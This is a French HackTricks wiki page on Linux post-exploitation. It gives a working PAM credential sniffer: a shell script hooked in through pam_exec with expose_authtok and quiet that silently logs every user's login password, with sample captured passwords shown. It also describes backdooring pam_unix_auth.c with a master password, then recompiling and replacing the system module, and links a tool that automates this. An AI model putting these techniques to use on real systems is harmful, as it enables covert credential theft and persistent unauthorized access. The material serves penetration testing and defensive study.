hacktricks/linux-hardening/linux-post-exploitation/README.md
2023-06-03 13:10:46 +00:00

7.1 KiB

Post-Exploitation Linux

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Sniffer les mots de passe de connexion avec PAM

Nous allons configurer un module PAM pour enregistrer chaque mot de passe que chaque utilisateur utilise pour se connecter. Si vous ne savez pas ce qu'est PAM, consultez :

{% content-ref url="pam-pluggable-authentication-modules.md" %} pam-pluggable-authentication-modules.md {% endcontent-ref %}

Tout d'abord, nous créons un script bash qui sera invoqué chaque fois qu'une nouvelle authentification se produit.

#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log

Les variables sont spécifiques à PAM et seront disponibles via le module pam_exec.so.

Voici la signification des variables :

  • $PAM_USER : Le nom d'utilisateur qui a été saisi.
  • $PAM_RHOST : L'hôte distant (généralement l'adresse IP)
  • $(cat -) : Ceci lit stdin, et contiendra le mot de passe que le script récupère
  • Les résultats sont redirigés vers un fichier journal dans /var/log/toomanysecrets.log

Pour empêcher tous les utilisateurs de lire le fichier, envisagez de le créer à l'avance et d'exécuter chmod, par exemple :

sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh

Ensuite, le fichier de configuration PAM doit être mis à jour pour utiliser le module pam_exec afin d'appeler le script.

Il existe différents fichiers de configuration situés dans /etc/pam.d/, et nous choisissons common-auth.

sudo nano /etc/pam.d/common-auth

Au tout bas du fichier, ajoutez le module d'authentification suivant :

auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh

Les options ont la signification suivante :

  • optional : L'authentification ne doit pas échouer s'il y a une erreur (ce n'est pas une étape obligatoire)
  • pam_exec.so : C'est le module PAM qui peut invoquer des scripts arbitraires
  • expose_authtok : C'est le truc qui permet de lire le mot de passe via stdin
  • quiet : Ne montrez aucune erreur à l'utilisateur (si quelque chose ne fonctionne pas)
  • Le dernier argument est le script shell qui a été créé précédemment

Enfin, rendez le fichier exécutable :

sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Maintenant, essayons cela et ssh depuis une autre machine, ou connectez-vous localement.

Et ensuite, regardez le fichier journal :

$ sudo cat /var/log/toomanysecrets.log
 Sun Jun 26 23:36:37 PDT 2022 tom, Trustno1!, From: 192.168.1.149
 Sun Jun 26 23:37:53 PDT 2022 tom, Trustno1!, From:
 Sun Jun 26 23:39:12 PDT 2022 tom, Trustno1!, From: 192.168.1.149

Backdoor de PAM

Allons aux sources de PAM (dépend de votre distribution, prenez le même numéro de version que le vôtre...) et cherchons autour des numéros de ligne 170/180 dans le fichier pam_unix_auth.c :

vi modules/pam_unix/pam_unix_auth.c

Modifions cela par :

Cela permettra à n'importe quel utilisateur utilisant le mot de passe "0xMitsurugi" de se connecter.

Recompilez le fichier pam_unix_auth.c et remplacez le fichier pam_unix.so :

make
sudo cp \  
  /home/mitsurugi/PAM/pam_deb/pam-1.1.8/modules/pam_unix/.libs/pam_unix.so \  
  /lib/x86_64-linux-gnu/security/  

{% hint style="info" %} Vous pouvez automatiser ce processus avec https://github.com/zephrax/linux-pam-backdoor {% endhint %}

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥